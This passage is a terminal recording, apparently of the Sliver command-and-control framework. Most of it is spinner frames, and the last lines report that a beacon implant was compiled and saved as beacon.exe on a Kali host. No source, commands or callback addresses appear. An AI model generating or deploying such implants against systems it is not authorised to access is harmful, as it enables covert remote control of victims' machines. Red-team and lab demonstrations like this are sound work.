[57.027905, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[57.128276, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[57.228688, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[57.329093, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[57.429516, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[57.529944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[57.63033, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[57.730737, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[57.831133, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[57.931619, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[58.032057, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[58.132469, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[58.232894, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[58.333275, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[58.433705, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[58.534168, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[58.634575, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[58.73499, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[58.835397, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[58.935794, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[59.036204, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[59.136617, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[59.237047, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[59.33746, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[59.437901, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[59.538298, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[59.638727, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[59.739109, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[59.839635, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[59.94026, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[60.040642, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[60.141447, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[60.241387, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[60.341918, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[60.442328, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[60.542746, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[60.643135, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[60.743526, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[60.84396, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[60.944316, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[61.04472, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[61.145098, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[61.245508, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[61.346228, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[61.446459, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[61.547139, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[61.647556, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[61.74798, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[61.848361, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[61.949064, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[62.049482, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[62.150429, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[62.250865, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[62.351309, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[62.45173, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[62.552125, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[62.652518, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[62.752816, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[62.853137, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[62.953469, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[63.053885, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[63.154313, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[63.254721, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[63.355117, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[63.45552, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[63.555964, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[63.656345, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[63.756771, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[63.857192, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[63.957616, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[64.058059, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[64.158465, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[64.258865, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[64.359278, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[64.45967, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[64.560073, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[64.660496, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[64.760907, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[64.861226, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[64.961635, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[65.062101, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[65.162473, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[65.262813, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[65.363215, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[65.463584, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[65.563929, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[65.664267, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[65.764654, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[65.865038, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[65.965715, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[66.06613, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[66.16656, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[66.266957, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[66.367352, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[66.467776, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[66.56818, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[66.668547, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[66.768962, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[66.869373, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[66.969801, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[67.070183, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[67.170579, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[67.270976, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[67.371375, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[67.471786, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[67.572066, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[67.672406, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[67.772782, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[67.873183, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[67.973581, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[68.074007, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[68.17439, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[68.274791, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[68.375213, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[68.475663, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[68.576092, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[68.67649, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[68.77689, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[68.877298, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[68.977677, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[69.078048, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[69.178464, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[69.278878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[69.37929, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[69.479712, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[69.580398, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[69.680635, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[69.781205, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[69.881588, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[69.981997, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[70.082411, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[70.182791, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[70.283226, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[70.383633, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[70.484052, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[70.585646, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[70.6861, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[70.786501, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[70.886885, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[70.988026, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[71.088754, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[71.189307, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[71.289785, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[71.390319, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[71.490765, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[71.591187, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[71.691638, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[71.792094, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[71.892535, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[71.992966, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[72.093408, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[72.193777, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[72.294164, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[72.394695, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[72.495136, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[72.595574, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[72.69601, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[72.796464, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[72.896877, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[72.997174, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[73.097672, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[73.198063, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[73.298468, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[73.39889, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[73.499343, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[73.599774, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[73.7002, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[73.800607, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[73.901027, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[74.001645, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[74.102027, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[74.202413, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[74.302779, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[74.40323, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[74.503582, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[74.604029, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[74.704466, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[74.804863, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[74.905147, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[75.00553, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[75.106244, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[75.206674, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[75.307059, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[75.407502, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[75.507792, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[75.608195, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[75.708634, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[75.809089, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[75.909504, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[76.009917, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[76.110303, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[76.21069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[76.31108, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[76.411364, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[76.511775, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[76.612203, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[76.712609, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[76.812969, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[76.913387, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[77.014031, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[77.114428, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[77.21484, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[77.315352, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[77.415754, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[77.516177, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[77.617047, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[77.717476, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[77.817868, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[77.91827, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[78.018659, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[78.119074, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[78.219374, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[78.319747, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[78.420109, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[78.520511, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[78.620928, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[78.721328, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[78.821732, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[78.922079, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[79.022451, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[79.122864, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[79.223257, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[79.323648, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[79.424062, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[79.524561, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[79.624847, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[79.725183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[79.825596, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[79.925954, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[80.026329, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[80.126713, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[80.227116, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[80.327518, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[80.427925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[80.528328, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[80.628736, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[80.729183, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[80.829605, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[80.929934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[81.030613, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[81.131023, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[81.231438, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[81.331889, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[81.432257, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[81.532654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[81.633064, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[81.733472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[81.833862, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[81.934255, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[82.034553, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[82.134968, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[82.235346, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[82.335759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[82.436139, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[82.53654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[82.636935, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[82.737336, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[82.837748, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[82.938161, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[83.038546, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[83.13896, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[83.239353, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[83.339739, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[83.440079, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[83.54049, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[83.640888, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[83.741261, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[83.841697, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[83.942096, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[84.042504, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[84.14291, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[84.243294, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[84.343901, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[84.444263, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[84.544642, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[84.64505, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[84.745433, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[84.845815, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[84.946247, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[85.046639, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[85.147039, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[85.247435, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[85.347883, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[85.448251, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[85.548654, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[85.649046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[85.749462, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[85.849853, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[85.950254, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[86.050666, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[86.15108, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[86.251468, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[86.351903, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[86.452325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[86.55273, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[86.653159, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[86.753583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[86.853992, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[86.954401, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[87.054817, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[87.15522, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[87.255618, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[87.356042, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[87.456465, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[87.556878, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[87.657163, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[87.757583, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[87.857998, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[87.958412, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[88.058827, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[88.159249, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[88.25968, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[88.360075, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[88.460515, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[88.560923, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[88.661328, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[88.761739, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[88.862144, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[88.962567, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[89.062994, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[89.163422, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[89.263874, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[89.364274, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[89.464691, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[89.565083, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[89.665512, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[89.765902, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[89.866299, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[89.966717, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[90.067109, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[90.167535, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[90.267978, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[90.36839, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[90.468788, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[90.569179, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[90.669594, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[90.769978, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[90.87036, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[90.970752, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[91.071155, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[91.171573, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[91.271982, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[91.372391, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[91.472816, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[91.573206, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[91.67361, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[91.774046, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[91.874466, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[91.974861, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[92.075252, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[92.175644, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[92.276061, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[92.376535, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[92.476932, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[92.577342, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[92.677712, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[92.778109, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[92.878516, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[92.97892, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[93.079343, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[93.179764, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[93.280186, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[93.380592, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[93.480997, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[93.581411, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[93.681811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[93.782218, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[93.882638, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[93.983044, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[94.083439, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[94.183863, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[94.284275, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[94.384703, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[94.485188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[94.585644, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[94.686046, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[94.786429, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[94.886842, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[94.987291, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[95.087728, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[95.188065, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[95.288423, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[95.388823, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[95.489225, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[95.589663, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[95.690088, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[95.790472, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[95.890891, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[95.991311, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[96.091792, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[96.192298, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[96.292733, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[96.39317, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[96.493548, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[96.594032, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[96.69446, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[96.794901, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[96.89533, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[96.995767, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[97.072858, "o", "\r\u001b[2K"]
[97.073391, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 1m21s\r\n"]
[97.105542, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /home/kali/beacon.exe\r\n\r\n"]
[97.105801, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
